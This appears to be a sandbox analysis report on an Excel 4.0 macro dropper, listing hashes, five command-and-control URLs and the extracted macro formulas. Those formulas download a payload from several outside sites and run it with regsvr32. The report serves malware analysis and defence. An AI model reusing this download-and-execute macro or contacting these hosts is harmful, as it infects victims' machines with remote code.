b9fb685c6798605b90ac09b9f7f79e8c7005fe6692dfd96e35c49cf780692a21

General

Target

b9fb685c6798605b90ac09b9f7f79e8c7005fe6692dfd96e35c49cf780692a21
Size

46KB
Sample

241120-xk5v9swlcm
MD5

1d0ae7c32b03acddbbc25b8b22f0f1f8
SHA1

9c28dfbb95ade01bd67c98d756b6c3584dd4d0b5
SHA256

b9fb685c6798605b90ac09b9f7f79e8c7005fe6692dfd96e35c49cf780692a21
SHA512

44c74cbcb20878c280a756326880c1e73f0a45c75da55964385c51d1b880c086741928f8c5b0540b568b727d25670091bb0e072feec36c5a2a8321b082ca46f5
SSDEEP

768:X5WHFKfQzXTmbfRzdDTKufT9nz0LTyY1NiMZFYpvrLeci3cr+UP6UCIHcX:XwF+OXabfFtT5fTR4Lh1NisFYBc3cr+z

Score

10^/10

discovery macro xlm

Rule

Excel 4.0 XLM Macro

C2

http://nataliapereira.com/wp-admin/pE8xYY3x6p/

http://annewelshsalon.com/wp-admin/2c9l2o1/cWWAzTVQ/

http://hellocloudgurusgerald.com/wp-content/iXYx/

https://ramijabali.com/licenses/0/

https://africa-roadworks.com/lilo-bard/vk3GSY7/

Attributes

formulas
=FORMULA() =CALL("urlmon","URLDownloadToFileA","JJCCBB",0,"http://nataliapereira.com/wp-admin/pE8xYY3x6p/","..\dw1.ocx",0,0) =IF('EFWFSFG'!D15<0,CALL("urlmon","URLDownloadToFileA","JJCCBB",0,"http://annewelshsalon.com/wp-admin/2c9l2o1/cWWAzTVQ/","..\dw1.ocx",0,0)) =IF('EFWFSFG'!D17<0,CALL("urlmon","URLDownloadToFileA","JJCCBB",0,"http://hellocloudgurusgerald.com/wp-content/iXYx/","..\dw1.ocx",0,0)) =IF('EFWFSFG'!D19<0,CALL("urlmon","URLDownloadToFileA","JJCCBB",0,"https://ramijabali.com/licenses/0/","..\dw1.ocx",0,0)) =IF('EFWFSFG'!D21<0,CALL("urlmon","URLDownloadToFileA","JJCCBB",0,"https://africa-roadworks.com/lilo-bard/vk3GSY7/","..\dw1.ocx",0,0)) =IF('EFWFSFG'!D23<0,CLOSE(0),) =EXEC("C:\Windows\SysWow64\regsvr32.exe /s ..\dw1.ocx") =RETURN()

Language

xlm4.0

Source

URLs

xlm40.dropper

http://nataliapereira.com/wp-admin/pE8xYY3x6p/